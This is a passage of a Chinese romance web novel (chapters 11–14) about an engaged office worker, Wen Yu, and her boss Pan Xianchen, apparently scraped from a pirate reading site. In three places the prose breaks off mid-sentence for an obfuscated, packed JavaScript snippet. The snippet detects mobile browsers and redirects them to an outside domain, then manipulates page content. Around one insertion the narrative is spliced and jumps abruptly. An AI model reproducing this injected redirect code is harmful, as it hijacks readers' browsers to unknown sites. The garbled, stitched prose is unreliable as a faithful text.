他冲门外吆喝了一声,很快有服务员拿着菜单过来,文钰接过菜单,转了个方向,正对着潘羡臣,从桌上给他推过去。 “你点。” “随便点?” “嗯。” 宁铠围观着,鄙视地盯着潘羡臣“啧啧啧”,潘羡臣赶他:“你很空?还不走?” “空个屁,我百忙之中来服务你们。”宁铠听话起身,周到地对文钰说,“有任何事喊我啊,我很空的。” 文钰笑笑,对潘羡臣说:“你朋友真有意思。” 潘羡臣看着宁铠一步三摇地走出雅间,对文钰说:“他结婚了。” “嗯?” “老婆叫胡晶晶,比他还有意思。下次介绍你们认识。” “……” “我点了几个,你看看,还有没有想吃的。” 文钰接过菜单浏览。 潘羡臣的手机叮咚叮咚响,宁铠隔着扇雅间门,给他发微信。 胡晶晶的大铠甲:你行![大拇指][大拇指][大拇指] 胡晶晶的大铠甲:这个好看。 胡晶晶的大铠甲:身材好。 胡晶晶的大铠甲:怎么找到的? 潘羡臣:同事。 胡晶晶的大铠甲:办公室恋爱?好刺激哦! 潘羡臣:有病。 上菜了。蟹粉狮子头、八宝葫芦鸭、荷香珍珠丸、松露荞麦面、芒果鱼子酱……盘盘菜都精致小巧,云雾松茸汤用杯盏盛起,下置干冰,腾腾的热气和干冰的雾气营造着火与冰的碰撞,松茸片在鲜香的鸡汤中漂浮,让人想起古河里摇荡的小舟。 服务员还在继续上菜。 潘羡臣说:“你点了这么多?” “吃一顿饭才多少钱,你那个车维修的话要几千块吧?就让我用饭钱抵,太便宜我了。” “你这么算账的?” 潘羡臣脸有点垮下来,她这意思,是想赶紧和他撇清关系。 “而且我看这些菜好像都很好吃,也想尝尝鲜嘛。”文钰没注意潘羡臣的表情,两眼放光地扫着桌上的菜码,她早饿了,忽然想到对面还坐着个人,又补充道,“你也尝尝鲜,不用客气!” 看她眼冒精光的样子,潘羡臣又笑起来:“不用一次点完,吃不下。我们还可以再来的。” 文钰舔舔嘴巴,眼神请示潘羡臣,说:“潘总,吃吧?” “动筷吧。” 潘羡臣先夹了一片青翠欲滴的菜叶,文钰在他之后。文钰吃饭的时候很专注,狮子头、葫芦鸭、松茸鸡……吃得她红面油唇。 潘羡臣停下筷子观察她,然后说:“爱吃肉?” “嗯。”文钰点头,嘴里还叼着一根鸭腿,发现潘羡臣早就坐着不动了,她把鸭肉咽下去,问,“你吃饱了?” 潘羡臣答非所问:“你慢慢吃。” 文钰低头看菜,还剩下很多,确实点多了,一会儿结完帐打包好了,不能浪费。 雅间里的空调呼呼吹风,把文钰发际线上一圈小碎发吹得摇摇摆摆,让人联想到老村落,小河湾,芦苇荡。那些芦苇须也是这样晃啊晃的,摇曳出迷人的风情。 潘羡臣想到出差去的烧烤店,文钰也像这样吃得津津有味,也像这样大鱼大肉,吃得热热红红油油肿肿的。潘羡臣去看文钰的嘴唇,笑了笑,像桌上那道胖嘟嘟的水晶虾饺。 他好奇文钰吃这么多又是怎么维持身材的,她明明很瘦。抱她像抱一床软绵绵的蚕丝被,他都没花什么力气。 潘羡臣熟识的几个女性都吃得不多,他妈妈每天一拳米饭,菜肴再美味也只浅尝两口;严芊芊整天嚷嚷着减肥,还特别挑食,这不吃那不吃的…… 文钰吃得最香,腮帮子鼓鼓的,嘴巴一嚼一嚼,像他养在水缸里的兰寿鱼。 他好喜欢看她吃饭。 文钰:“……” 她怎么有一种自己其实可能是一头猪的感觉? “潘总,说好我请客,你又没怎么吃,全进我肚子了……” “好吃吗?” “……好吃。” “这里的米酒也很香,不过你脚伤了,我开车,都不能喝。”潘羡臣问,“你会喝酒吗?” “能少喝一点。” “要不我让宁铠给你温一壶,你带回去少尝一点?” 潘羡臣起身走出去。 文钰片刻后想到什么,急忙追出去,对着围着收银台的潘羡臣和宁铠喊:“我来付我来付!” 两个男人齐齐看着一个身残志坚的女人拄着拐杖一高一低地走过来。 宁铠用气音问潘羡臣:“刚都没注意,怎么是瘸的?” 潘羡臣用气音回:“不小心弄伤了。” “你弄的?” “不是。” “那谁弄的?” “你废话太多了。” “爸爸这不是关心你吗?” “……滚。” 文钰挪到收银台,宁铠笑着说:“你这个脚,别走这么急呀。” “一共多少钱?” 宁铠看了潘羡臣一眼,还是笑着:“你怎么抢着付钱?潘羡臣过来点米酒的,又没打算帮你付钱。” 是吗? 文钰看了看潘羡臣,潘羡臣倚着收银台,神色淡淡,没有说话。 文钰:“那我要几个打包盒。” 宁铠看潘羡臣:“这么快要走了?” 潘羡臣说:“那结账吧。” 文钰付了三百多,这么多菜,还大都是荤菜,也不知道这个宁铠给她打了多少折。 潘羡臣和文钰一前一后走出门,宁铠给他发微信:白替你高兴了,人家对你根本没意思! 潘羡臣:? 胡晶晶的大铠甲:抢着付钱,又急着走。 胡晶晶的大铠甲:你没戏了。 潘羡臣没理他,两腿生风似的往前走。 文钰一瘸一拐地跟不上,远远看着潘羡臣独自坐进车里。 他在生气。 潘羡臣车灯大亮,照得文钰眯了眯眼。她用拐杖走了两步又停下,拿着手机在捣鼓。 潘羡臣定定看着她的方向,等了几秒,也可能是几分钟,他估计不出来,只感觉她好慢,怎么还不过来。 后来他等不及,直接把车开到她脚边去。 潘羡臣特意把副驾驶那边冲着她,好像回到了几小时之前,他堵在非机动车道请她上车一样。 “要我扶你上车吗?”他从车窗看出去,面无表情地对她说。 “不用。”文钰扬了扬手机,说,“谢谢潘总介绍的店,味道很好。我打了车,两分钟后到。今天麻烦潘总了,潘总再见!” “……” 潘羡臣气得抿紧了嘴角。行,她真行。 潘羡臣猛踩油门,迈巴赫一溜烟地冲出了竹篱笆。嘎吱一声又停下,他把车停在篱笆旁的拐角,死死踩住刹车不动。 车里自动连了蓝牙,播放刚才暂停的轻音乐。他不想听,猛地掐了。 寂静的夜里,忽然传来汽车行驶的声音,他看到一辆出租车应约而来,然后载着文钰绝尘而去。 潘羡臣的左手搭在方向盘上弹钢琴,五分钟后,他缓缓启动车辆,离开这里。 文钰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270834|182287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拄拐以后,办公室的同事都在照顾她。要出去跑的差事都是其他同事在干,彭雁出门办事换了个人带。 下午,彭雁带人回来,和文钰说:“来会客室一趟。” 文钰走得慢,彭雁扶着她也走得慢。 “谢谢雁姐。” “不用谢。”彭雁说,“你快点好起来,我还带你出去跑,整个办公室就你最好用。” “……” “我是在夸你。” “……哦,那谢谢雁姐?” 彭雁笑了笑,推开会客室的门。沙发上坐着的男人一下子起立,和她们打招呼:“二位领导好。” 文钰愣了一下。这不是在市场里抓着她手不放的那男的吗?文钰记得很清楚,这男的虎背熊腰,一身蛮力,把她手腕抓得通红。后来她被人群挤得倒在地上,抬头一眼看到这男的下巴肉,整个人杵在那儿,像座自来水厂的大水塔。 大水塔看见她的脚,忙迎上来扶她。彭雁替文钰一挡,大水塔解释:“领导,我没想动手动脚。” 彭雁道:“你先坐,我来扶。” 三个人三方会晤似的在沙发上坐下,大水塔说:“我来道歉的,真不好意思啊,没想到就吵个架,让领导受伤了。” 文钰说:“我不是领导。” “我也不知道怎么叫你,反正你们管着我们,那你们就是领导。”大水塔一副很通情达理的样子,和吵架那时判若两人。 彭雁说:“事情已经搞清楚了吧?对方有没有恶意压价?” “搞清楚了搞清楚了,我也没想到她那些是临期货,想快点低价处理掉的。后面那些货价格都是正常的,和我们差不多。” “所以你是不是太冲动了?动不动就吵架打架,影响不好。” “是是是,我的错。” “而且乱传谣言,什么领导的亲戚,小三小四的,是你传出去的吗?” 大水塔羞愧地挠脸,尴尬道:“吵架的时候随口骂的嘛,谁知道那些八婆听了就信,还传出去了。” “你还怪听的人了?这种话能乱说吗?” “是我错了,以后再不乱说了!”大水塔说,“潘总是好领导,那天陪市领导那么忙,还亲自过来和我解释。我们一下子把话说开了……他还特意跟我说,要来找你道歉。” 大水塔眼睛一转,看向文钰。 “不好意思啊,我真是气晕了,没控制好脾气,害得你脚扭了。看医生了没?多少医药费啊?我来出。” 文钰说:“算了,就一点挂号费,我已经工伤报掉了。” “我家里有虫草,还有那个药参,我给你拿来,你补补?” “不用了。” 大水塔为难地看着文钰:“这……潘总说了,必须请求你的原谅。” …… 彭雁让文钰留着别动,她把大水塔送了出去。回到会客室,文钰在收拾一次性纸杯,彭雁帮她,说:“潘总办事很周全,方方面面都照顾到了。” 文钰点点头,想到潘羡臣的脸,严肃的、目光如炬的,紧抱着她疾步而走;温和的、朗目疏眉的,陪她吃了一桌的肉。 透过明亮的玻璃门,文钰看到潘羡臣正伏案工作,他又戴上了那副黑色半框眼镜。 文钰敲了敲门,走了进去。 潘羡臣看她一眼,又低下头去。她把一份材料交到他办公桌上,他没反应。 “潘总。”她提醒。 潘羡臣做自己的事,过了一会儿,他头也不抬地说:“知道了,一会儿看。” 她还没走,潘羡臣才抬眼看她:“还有事?” “市场里那个商户,来找我道歉了。” “嗯。” “他说是你要求的——谢谢你。” “……” 潘羡臣又低下头去,摆明了不想理睬她。文钰抿抿唇,转身离开。 潘羡臣盖上笔帽,啪一下把笔按下:“谢谢,对不起。除了这些,你就没别的话和我说了。” 12. 第 12 章 他要她说什么? 文钰不知道。她觉得好像说什么都不对。身份不对,时机不对,什么都不对。 她垂下脸,咬着唇,半天没说话。 潘羡臣摘下眼镜,抱胸靠到椅背上,也不说话,静静看她。 “……” “……” 办公室里的挂钟滴答滴答地走,眼前这女人仿佛一具稻草人,时间不停,她也站岗不停,好像会站到天荒地老似的。 潘羡臣深吸一口气,成为第一只落到稻草人身上的鸟,打破了这死一般的沉静。 “你小学生罚站?” “没有。” “那你站那儿一动不动?” “你又没让我走。” “……” 潘羡臣又吸一口气。她好有道理!光会呛他! “好!那你走过来。”他眼神示意了下,指挥她往前走,离他近一点。 文钰目测了下他们之间的距离,没往前走,反而退了一小步。 潘羡臣:“……” 他黑着脸讽刺她:“我说反了?还是你没认真听?”他哐当一下拉开抽屉,在里面翻找什么,不一会儿,他拿着东西走过去,逼近她。 “你这么出尔反尔?”潘羡臣手里拿着一本笔记本,在文钰眼前哗啦啦地翻着,他指着其中一页质问,“你自己看看,你保证了什么?” 文钰瞥了一眼,然后:“……” 不会吧?这是她写的保证书?保证要认真听他讲话不让他失望,后面还负荆请罪求他原谅了,这种乱七八糟的东西他居然存到现在当证据? 文钰抬头观察着潘羡臣,潘羡臣目光灼灼死盯她,快要在她脸上烧出两个洞来。 早知道就不乱耍小花招了。 文钰光速滑跪:“对不起……” “不准说对不起。”潘羡臣打断她,现在他气得想把笔记本卷起来当棍子,咚咚敲她的脑袋,像个真正的班主任那样。 咚咚—— 随着敲门声响,门被推开,严芊芊钻进来一个脑袋,嬉皮笑脸地打招呼:“我亲爱的哥哥?” 潘羡臣:“……” 文钰扭头看,严芊芊的眼神也在她身上打转。 潘羡臣暂时放过文钰,问严芊芊:“你怎么来了?” “我来找你玩呀!” “我还有事。” 严芊芊探寻的目光在潘羡臣和文钰之间扫来扫去,她故意挑了个软点儿的柿子捏:“姐姐?你们还有事要讲?” “没了。”文钰快速说,“潘总,我先出去了。” 门被一阵风合上。 潘羡臣冷冷地盯着严芊芊,严芊芊一屁股坐在沙发上,眨着眼睛问他:“怎么了?我坏你好事儿了?” 潘羡臣回椅子坐下:“我要工作,没空陪你玩。” “我就在你这儿坐坐,又不吵你。” “去楼上找你爸,到你爸那儿坐。” “我爸让我别烦他,他让我下来找你。” “……” “嘿嘿。”严芊芊讨好地笑,“我好久没回国,我爸都不让我出门了。这几天在家待着快emo了……你这有什么好玩的呀?” “我这是办公室。”潘羡臣加重音。 “你好无趣。”严芊芊嘟着嘴,不打算再搭理他,于是靠在沙发上开始刷抖音。 “……” 抖音热曲和严芊芊银铃般的笑声从潘羡臣的办公室传出来,叶一诺滑着椅子坐到文钰的办公桌旁,一边吃文钰带来的荔枝,一边吃瓜:“里面那位,是哪家的大小姐?” 文钰看着叶一诺一口一个,吃得一点也不见外,说:“我怎么知道。” “你刚刚不是在里面碰到了吗?没听他们聊什么?”叶一诺啧啧两下,点评,“不管是哪里下凡来的大小姐,总之肯定和潘狗关系不简单。” 文钰回想着刚刚在潘羡臣办公室里的一见一闻,那个一身名牌的年轻女孩子亲密地喊他“哥哥”,不知道是亲哥哥,还是……? “你听听,影响多不好啊?办公场地,嘻嘻哈哈,白日宣淫,荒淫无度……我手机上看我家哥哥的演唱会都偷偷摸摸的,有时候还开静音,他们居然光天化日之下……” 文钰:“……” “你少吃点吧。”文钰打断叶一诺。 “……” 叶一诺像呆住的土拨鼠,捏着一颗刚剥好的荔枝,看看文钰,又看看小盘子里越吃越少的荔枝,睁着眼睛说瞎话:“我就吃了你三四颗……” “……我让你少吃点瓜。” “哦。” 叶一诺点头,把手里的荔枝喂到嘴里,一边嚼一边又从盘子里拿了颗新的。 文钰把它抢回来:“荔枝也少吃点,都不给我留几个。” 文钰和叶一诺一起坐电梯下班。电梯门即将合上,外面有人在喊:“等一下!等一下!”接着传来一阵猛按电梯钮的声音。 快合上的电梯门又打开了,严芊芊叉着腰堵在电梯门前,炫耀地对潘羡臣说:“多亏我手速快!” 潘羡臣跟在严芊芊身后进电梯。 文钰和他对视一眼后错开。好难得,他居然这么早下班?为什么呢? 文钰不由自主地去看严芊芊,严芊芊像只欢快的小鸡,叽叽叽地说着话:“你打算带我去吃什么好吃的?你知道我很挑的,一般的我都看不上。” 过了一会儿,她又说:“不会是宁铠哥开的私厨吧?我不要,我今天不想吃中餐!” …… 一直到一层,严芊芊还没和潘羡臣商量好到底要去哪儿吃好吃的。文钰先下了电梯,和叶一诺道别,叶一诺明显憋了一肚子话想和她说,电梯门一关闭,文钰的手机微信就响个没完。 千金:我用我家哥哥的人格担保,他们俩肯定有一腿! 文小钰:不必了吧,内娱没几家哥哥能担保的,多不吉利。 千金:我家哥哥不一样! 千金:……这不是重点! 千金:重点是,潘狗天天加班,但今天忽然准时下班,还要带一个小妹妹去吃好吃的…… 千金:啊!我看到他们上同一辆车了!潘狗当司机,小妹妹坐在他的副驾驶!这多暧昧呀! 千金:他们走了……和我擦肩而过,我看到小妹妹笑得好开心! 千金:潘狗果然狗!前不久还含情脉脉地看你呢,没几天就换人了。我要把相机里那张照片删掉!恶心心! 文钰看完了叶一诺的停车场直播,不知道该回什么。今晚没有风,低沉沉的天压下来,笨重的黑云闷闷的,树下的蝉鸣闷闷的,文钰感觉自己也闷闷的。 她回到家先冲了个澡,换好衣服出来时,温于也回来了。 下班前,温于发微信和她商量晚上要不出去吃,有一家新开的土耳其餐厅,排队老长,他预约上了。文钰同意了。 他们偶尔会这样出去搓一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270835|182287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿,温于开车,文钰坐在旁边给他导航。温于的方向感很差,开过两三次的路,还要靠导航才会走。 温于把车停好,和文钰一起走进这家座无虚席的土耳其餐厅。 服务员将他们引到靠窗的位置上,温于根据大众点评来点菜,文钰打量完这家店,转头去看窗外熙熙攘攘的人潮。 店外排队的人很多,大多是年轻的男女,也有关系亲密的好姐妹。文钰随意地扫过他们陌生的脸,忽然——眼前有一张年轻的脸被放大了。 严芊芊站在玻璃外,满脸惊喜地冲着她挥手:“哎!哎!你是那个办公室里的姐姐!” 文钰:“……” “还记得我吗?”严芊芊大喊。 旁边很多人看过来,店里的食客、店外的长队。 ……年轻真好。文钰不想像她那样大喊大叫惹人围观,淡淡笑着对严芊芊点头。 “真羡慕你们!你们已经吃上了,我们前面还有45桌!” “……” 文钰越过严芊芊去看她身后的人,发现并不是潘羡臣,而是另一个她不认识的年轻女性,看样子和严芊芊是同龄人,可能是同学。 两个年轻女孩子面对面地聊了几句,严芊芊忽然把前面还有45桌的等位票撕掉,对文钰说:“前面太多人了,我们不等了。姐姐你慢慢吃,记得告诉我好不好吃!” 两个年轻女孩子一阵风似的跑掉了,文钰望着严芊芊的背影小鸟一般飞远,漫无目的地想她怎么没和潘羡臣一起吃呢?他们两个不是同一辆车出来的吗? 文钰心不在焉地吃着什锦咔吧,没想到严芊芊真来问她好不好吃,也不知道从哪儿弄来她的微信号,添加好友的申请信息就是:姐姐好吃吗?文钰差点以为是不是小郑换了个号。 但仔细想想,她和严芊芊之间的交集,就是那个人了。她的微信看来是他推出去的。 这是什么操作? 文钰加了严芊芊好友,下一秒—— 对方正在输入中…… 芊万富翁:姐姐你好,我叫严芊芊。 芊万富翁:请问如果让你给这家餐厅打分,一到十分你会打几分? 文钰:“……” 文小钰:7分吧。 芊万富翁:啊?这么低? 文钰:“……” 这很低吗?文钰觉得中上水平,已经算过得去了。 芊万富翁:我是那种只要10分的人,菜不是十分好吃我不吃,衣服不是十分好看我不穿。当然啦,人不是十分喜欢,我也不会要的! 芊万富翁:那算啦,这家店我避雷了。谢谢姐姐,我就不打扰你们啦。 “吃好了没?” 文钰回神,抬头看温于。温于已经拿出手机准备扫码付款。 看着他平淡、沉默又无波无澜的脸,文钰鬼使神差地问:“你觉得这家店好吃吗?” 温于答:“还行吧?反正不难吃。” “那你下次还会来吃吗?” 温于皱了皱眉,反问:“下次谁知道?刚好路过,又没那么多人排队的话,或许会再来吃一次吧。” 文钰垂下眼,没说话。 手机里那行“人不是十分喜欢,我也不会要”像淬了火一样烫进她的眼里和心里,使她的眼眶一阵阵发热,她的胸口像星火燎原一般滚烫。 潘羡臣是严芊芊十分喜欢的人吗? 文钰想:我自己呢?谁是我十分喜欢的人? 13. 第 13 章 吃饭的时候,文钰喜欢和大人们分享自己学校里的趣事,哪个同学又被老师骂哭啦,哪个同学偷偷带了零食送给同学们,她说她也想带,妈妈笑着听,爸爸让她吃饭的时候不要讲话。 小学三年级,文钰表现出了绘画的天分,班主任老师建议她的父母培养孩子的才能,妈妈给她报了素描班,她开始用铅笔画画。她喜欢画画,周六的下午她不用写作业,而是和素描班的同学们一边聊天一边学画。初中的时候,她停止了学画,她的成绩下降了,爸爸说画这些东西有个屁用。 她以很优秀的分数考上了好的高中、好的大学。她忽然沉迷于石塑粘土,粘土在她的手里成型、变得栩栩如生。寒暑假回家,她还带着她的宝贝粘土在书房里创造,占用了爸爸用电脑的时间。爸爸批评她成天玩弄小孩子的玩意儿,大好时间不去谈男朋友。 “什么是大好时间?”文钰问。 “你现在二十岁,年轻漂亮,这就是一个女人最好的时间!”爸爸言之凿凿地说,“难道你还打算三十的时候再去挑男人?人老珠黄,谁看得上你?” …… 文钰觉得喜欢是无用的东西。 她幼年的分享欲、童年的乐趣、成年的艺术幻想,全是无用的东西。 她喜欢球场上挥汗如雨的篮球前锋、图书馆里翻着《费曼物理学讲义》的学生主席、咖啡馆里每日一杯冰美式的风衣眼镜、地铁站常常巧遇的制服报纸…… 他们年纪太小、不住本地、家境贫寒、单亲无依…… 她的父母拒绝、反对、控制。 妈妈说:“光有喜欢没有用啊,他的条件不好,你跟着他会受苦的……他的条件太好,他会不会和你只是玩玩而已?浪费了你的青春年华。” 妈妈说:“温于很好,爸爸妈妈亲自为你挑选的,不会有错。爸爸妈妈都是为了你好。” …… 温于的条件既不很差,也不很好,他是个普通家庭出身的普通孩子。他的父母淳朴且关系简单,他像所有小镇做题家一样从农村走出,凭自己的本事走进世界五百强。 妈妈劝她:“温于适合你。他稳重、踏实,看着就不像会乱搞的那种男人。你和他结婚过日子,会很幸福的。就算他以后乱来,出什么事了,以他的家庭,爸爸妈妈拿得住的。” 父母出钱为文钰在市中心购置了一套三居室,写她的名字。订婚后,文钰就和温于住在那里。22层,视野很好,从落地窗俯瞰出去,看得见远山高云、钢峦叠嶂。这里房价很高。 温于有另外的买房计划,不过他的父母能为他提供的助益很少,他需要卖力地工作、不断地晋升。 周六周末两天,温于都要出差。文钰回到别墅那里,早中晚饭都由妈妈包了。妈妈一边无微不至地照顾她,一边数落她工作上的不小心。 “工作而已,你那么拼干什么?现在好了,成瘸子了吧!温于怎么回事?你受伤了也不陪着你,挑这时间出差……” 文钰舒舒服服地躺在沙发上,客厅里放着什么电视剧,妈妈把切好的水果端给她。 “都是因为要伺候你,我下午和朋友约好去买衣服都去不了!” 文钰从沙发上蹭起来:“你要去买衣服?” “是啊,周五就约好周日下午三个人一起逛逛街,结果来了你这么个祖宗!” “你去你去,不用管我。” 文钰喜欢妈妈的那群朋友,他们各个鲜活。妈妈和他们待在一起,有说不完的话题。文钰看到这样的妈妈,觉得好像回到了小时候的餐桌旁,小文钰叽里呱啦地胡侃,妈妈在笑眯眯地听。 不过是她们角色互换了而已,现在轮到妈妈和朋友们叽叽喳喳说不停,文钰边看边听边笑着。 她小时候的愿望是妈妈永远都开心。 文钰笑嘻嘻地把妈妈送出门去,临走前,妈妈还反复叮嘱她晚饭不要点外卖,她向来是懂事听话的孩子,尤其是妈妈的话。家里锅碗瓢盆齐全,冰箱里也囤了很多食物,但文钰一个人吃就懒得下厨,现在还早,文钰慢吞吞地晃荡出门,准备找家附近的小店解决晚饭。 这里围了两片别墅群,它们毗邻而居,对面是宽阔的大马路,马路对面热闹地开着许多商铺。文钰在这条热闹的街上行走、寻找。 林阿姨录了一条微信视频给她发过来。她们和妈妈在常逛的熟店里,经常五六七八件地买,老板最喜欢她们这样的大客户,每次她们前去,总是服务很热情,这件衣服刚穿上,下条裙子就替她们挑好递过来,买一件上衣不够,必须再配一条长裤。有时候老板也会推销高跟鞋和休闲鞋,她们试穿了觉得好看,也会顺便带走。 视频里妈妈正在穿衣镜前转圈,碎花长裙飘起来,花蝴蝶似的。老板没入镜,但他殷勤的声音被录进去了:“好看!就是为你量身定做的!穿回去还不把你老公迷死?” 两个阿姨在旁附和。 没过几秒,妈妈发了一条微信语音来,声音里洋溢着幸福和快乐:小钰,林阿姨刚刚发给你的你看了吗?妈妈穿着好看吗?文钰回了好看。林阿姨也发语音条给她:你妈妈臭美咧!说要多买几条咯。 文钰一边给三个高兴坏了的美妇女参谋点评,一边找到一家小食店走进去。店里没什么人,但凉爽干净,头顶的大电扇唰唰唰地旋转,把餐厨那头的肉香吹了过来。 文钰点了两肉一素,可能吃不完,但在吃这方面她不想亏待自己。 手机微信响了,她先瞧了瞧屏幕上的时间,四点五十。妈妈她们还在买? 意外。 是严芊芊给她发了一张照片。照片很糊,文钰点开、放大。照片里有个不修边幅的年轻女人在啃红烧肉,尽管天花板上的大电扇在不知疲倦地转,但这女人还是满头冒汗,吃得喷香。 文钰:“……” 她咬了一半的红烧肉扑通一下掉进碗里,然后猛地抬头。 店外停着一辆迈巴赫,驾驶位的窗户全开着,文钰先看到潘羡臣的鼻梁和下巴,后看到从副驾驶位伸长了大半个身体探过来的严芊芊。严芊芊又是那副惊喜的神情,一边对文钰挥手,一边把眼睛笑得弯弯的。 隔着一条不宽不窄的人行道,严芊芊在车里大喊:“我们好有缘啊!” ……确实。 街上的行人被热情的声音吸引,好奇地观察着他们。 场景重现了。 文钰放下筷子,回头和老板说一声:“别收,我出去一下,一会儿回来吃。”她一瘸一拐地走到车旁,和他们打招呼。 严芊芊兴奋地向她问东问西。怎么这么巧,你怎么也在这儿,你在这儿干什么呢……为了迁就他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等文钰上高中了,爸爸告诉她要和妈妈离婚,后来妈妈又歇斯底里地对她哭喊着绝不离婚。她夹在父母中间,像一坨被夹烂的泥。妈妈绝望、伤心欲绝的脸在此刻和文钰眼前的这张脸重合,没有过问什么,只这一瞬间,文钰的眼泪一下子就滚下来了。 为什么?怎么会? 明明下午的时候,妈妈还笑得像朵花儿一样。 洗干净脸,妈妈疲惫地睡了。文钰坐在自己的卧室里,回想着那些伤痕累累的过往。九点多,她的手机亮了,成为她黑漆漆的卧室里唯一的光。 严芊芊发微信问她家在哪里,她有很多从国外带回来的巧克力,想要现在送给她。文钰艰难地回不用,但严芊芊好像根本听不懂别人的拒绝,锲而不舍地追问。 文钰擦干净脸,走出家门。严芊芊说五分钟就到。 远处的星很亮,月亮很弯,阵阵虫鸣和微微的风勾勒出了这个美丽的夜晚。文钰无心关注这些,她出门也浑浑噩噩,一条宽松的短裤,一件薄薄的吊带,像从被子里刚爬出来。 她静静地等待。很快,不远处传来走近的脚步声,她抬起头,看到一张同样惊愕的脸。 “怎么是你?” “怎么又哭了?” 他们同时说道。 14. 第 14 章 严芊芊回国以后,潘严两家这么大小齐全地聚,这是头一次。严致闻和潘庆在茶室里喝茶,两位夫人和阿姨在厨房里忙活。阿姨在严致闻家干了很多年头,勤快又利索,主要负责晚饭的硬菜。潘羡臣和严芊芊的妈妈聚在厨房里帮忙,没一会儿,严芊芊的妈妈把水果切好装盘端出,喊两个小的来吃水果。 潘羡臣应声而来,接过水果盘端到客厅去。严芊芊不见人影。 “芊芊又躲到哪儿去了?有时候在家里,我和她爸爸都半天找不到她。” 潘羡臣说:“我去楼上找找。” 严芊芊蹲在地板上,她的卧室门敞开着,大大的行李箱打开瘫在一边,干净的木地板上摆着一排又一排的小东西,都是她从国外淘回来的。 潘羡臣站在她的卧室门口,很有分寸地不踏进去。站了片刻,严芊芊像看不见他似的头都不抬。潘羡臣敲敲她的房门,说:“你在摆摊?” “我想给文钰姐姐送巧克力吃……”严芊芊仔细挑选着,从地板上拾起一板又一板,都是她自认为十分好吃的。 潘羡臣打听:“你怎么送?” “一会儿吃完饭走过去就好啦,她不是住在隔壁吗?” 潘羡臣点点头:“选好下来。” 晚饭很丰盛,阿姨的手艺特别好,四大两小围坐一团,说笑的话题自然围绕着家里最小的宝贝严芊芊。大人们问她在国外待着感觉怎么样、适不适应,严芊芊说了许多国外有意思的见闻,逗得大人们直乐。潘庆问她会不会在国外待着待着就带个金头发蓝眼睛的男朋友回来,严芊芊红着脸说:“不会的潘叔叔,我还是喜欢咱们中国男人。” 潘羡臣的妈妈杨怡追问:“是吗?那你喜欢哪种中国男人?像潘羡臣这样的中国男人你喜不喜欢?” “……” 严芊芊差点一口排骨汤喷出来。她扫了潘羡臣一眼,潘羡臣正在无动于衷地夹菜。好的,火烧她眉毛,他不救是吧? 严芊芊马上斩钉截铁地纠正:“阿姨,刚刚我说得不准确,其实我喜欢的是中国年轻男人。潘羡臣哥哥有点老了,不是很适合我。”还哥哥呢,如果没有大人在场,严芊芊会喊他老东西。 严致闻瞪她一眼:“胡说什么?” 潘庆圆场:“我觉得芊芊说得没错啊,潘羡臣是老大不小了,到现在还没有人要。” 杨怡拍他一下:“你也是胡说什么!你儿子长这么帅,怎么没人要?” 然后又骂潘羡臣:“你怎么一句话不说?就知道吃菜,这么饿?” 噗嗤——严芊芊笑出声来,刚喝到嘴里的排骨汤从嘴角两边流下来。她妈妈忙抽了一张纸巾递给她:“快擦擦,怎么还像小孩子一样。” 杨怡继续骂儿子:“芊芊这么可爱,你个大男人就不知道主动出击?” “杨女士,”潘羡臣主动出击,“恋童是犯法的。” “……”严芊芊排骨汤也不擦了,猛地站起来反问,“你骂谁是儿童?!” 四个大人忙当和事佬,两个安抚炸毛的严芊芊,两个痛骂惹祸的潘羡臣。这顿圆满和睦的晚饭就这么有滋有味地结束了。 饭后,严致闻拉着潘羡臣下棋,一边走炮一边对潘羡臣说:“芊芊说话不经大脑,你不要往心里去。在我们眼里,你是最年轻有为的孩子。” 潘羡臣笑笑,很包容地说:“严叔叔安心,我不会和她计较。在我眼里,她就像一个小孩子。” 严致闻落棋的手一顿,明白了。 严芊芊玩心还很重,背后又有强硬的家庭作底,平时根本不思考什么正经事,只琢磨怎么玩高兴。昨晚偷溜出门去蹦迪喝酒,背地里不知道结识了什么狐朋狗友,被严致闻揪回来关家里。今天一整天都让潘羡臣看着,严芊芊没车,要去哪儿就麻烦潘羡臣一趟。 潘羡臣眼望棋盘,将军,他要赢了。 “芊芊还小,容易受蒙骗,昨晚的事也不知道她受到教训没有。”潘羡臣落子,道,“我看她刚刚又收拾东西好像要准备出门,也不知道要去哪儿。” “什么?” 严致闻无心下棋,把正打算往外跑的严芊芊抓回来,劈头盖脸地教育一通。说到最后,他严令禁止严芊芊偷偷出门,尤其是在他眼皮子底下。 大人们又到茶室里喝茶,严芊芊在廊下罚站。潘羡臣抱臂走过去,盯着严芊芊手里的巧克力,好心提建议:“要不我替你跑一趟?” “真的?”严芊芊眼睛亮起来。 潘羡臣勾勾唇角。略施小技。他说:“地址发我。” 今晚月色真好。他跟着月亮一路走过去,老远便看见那边杵着个纤细的影子,清凉的衣裤和单薄的身体。他不禁快走几步,看到了她微微泛红的双眼。 她也向他望来。 “怎么是你?” 